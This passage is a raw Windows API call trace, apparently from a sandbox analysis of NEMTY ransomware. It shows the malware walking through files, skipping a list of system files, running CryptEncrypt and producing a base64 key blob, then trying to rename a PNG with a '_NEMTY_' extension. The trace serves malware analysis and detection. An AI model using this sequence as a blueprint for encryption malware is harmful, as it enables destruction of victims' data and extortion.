lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0055.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0055.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-background.png", lpUsedDefaultChar=0x0) returned 25 [0055.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0055.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0055.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0055.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0055.830] Sleep (dwMilliseconds=0x5) [0055.846] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd4eeff30, dwHighDateTime=0x1d561e7)) [0055.846] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd4eeff30, dwHighDateTime=0x1d561e7)) [0055.846] GetLastError () returned 0xb7 [0055.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0055.846] GetLastError () returned 0xb7 [0055.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0055.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0055.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0055.846] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0055.846] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0055.846] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0055.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0055.846] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="uYJi+nKYJO9EZU1GQTbXbuCnEzwfAw2U61n9OP//nhxJYuPI5+amPh0Ta/D563FA\r\nqUY9SQXfqvR67OH8YQB7FYwbzgx9CeEyNSwcKMWmXs30o8VuM1LjKe0+h5uh4B02\r\n7ZMu3i+r3ZX/wYXYYH8hU0ZeXC+132sQmo1kJSHzDOeda7RsPL04xbinhC8kcfnT\r\n42fPd1Z+muXJFMKOrY1aVMEwK292oazxfwuwBYur61eGBJHcYczHhzZFB72/njqL\r\n/uyq1zDLitPJBmY8qrWObVwKeF6zHQ684vuyYjvkFPsACuBxPqrq6AO66M9HA+om\r\nsupSUIULRuGMOEiCePrjJA==\r\n", pcchString=0x653e91c) returned 1 [0055.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0055.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0055.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0055.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0055.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0055.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0055.846] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0055.847] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0055.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0055.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.847] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.856] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.856] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.856] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.856] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.866] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.866] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.875] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.875] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.885] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.885] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.894] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.894] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.904] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.904] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.913] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.913] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.913] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.913] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.922] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.922] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.932] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.932] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.932] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.932] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.941] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.941] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.947] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.947] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.953] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.953] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0055.954] CloseHandle (hObject=0xffffffff) returned 0 [0055.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0055.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0055.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0055.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0055.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0055.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0055.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344090 [0055.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344138 [0055.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0055.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0055.954] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png._nemty_kgobjgd_")) returned 0 [0055.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344138 | out: hHeap=0x4f90000) returned 1 [0055.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0055.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0055.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0055.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0055.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0055.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0055.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0055.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0055.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.954] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0055.954] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2=".") returned 1 [0055.954] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="..") returned 1 [0055.954] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="...") returned 1 [0055.954] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="windows") returned -1 [0055.954] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="$RECYCLE.BIN") returned 1 [0055.954] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="rsa") returned -1 [0055.954] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="NTDETECT.COM") returned -1 [0055.955] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="ntldr") returned -1 [0055.955] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="MSDOS.SYS") returned -1 [0055.955] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="IO.SYS") returned -1 [0055.955] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="boot.ini") returned -1 [0055.955] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="boot.ini") returned -1 [0055.955] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="AUTOEXEC.BAT") returned -1 [0055.955] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="ntuser.dat") returned -1 [0055.955] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="desktop.ini") returned -1 [0055.955] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="CONFIG.SYS") returned -1 [0055.955] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="RECYCLER") returned -1 [0055.955] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="BOOTSECT.BAK") returned -1 [0055.955] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="bootmgr") returned -1 [0055.955] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="programdata") returned -1 [0055.955] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="appdata") returned -1 [0055.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0055.955] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0055.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.955] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-highlight.png", lpUsedDefaultChar=0x0) returned 24 [0055.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0055.955] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0055.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.955] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-highlight.png", lpUsedDefaultChar=0x0) returned 24 [0055.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0055.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0055.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0055.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0055.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-highlight.png", lpUsedDefaultChar=0x0) returned 24 [0055.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0055.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0055.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0055.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0055.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x4f9ed08, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-highlight.png", lpUsedDefaultChar=0x0) returned 24 [0055.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0055.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0055.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0055.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0055.956] Sleep (dwMilliseconds=0x5) [0055.972] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd5020a30, dwHighDateTime=0x1d561e7)) [0055.972] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd5020a30, dwHighDateTime=0x1d561e7)) [0055.972] GetLastError () returned 0x5 [0055.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0055.972] GetLastError () returned 0x5 [0055.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0055.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0055.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0055.973] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0055.973] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0055.973] 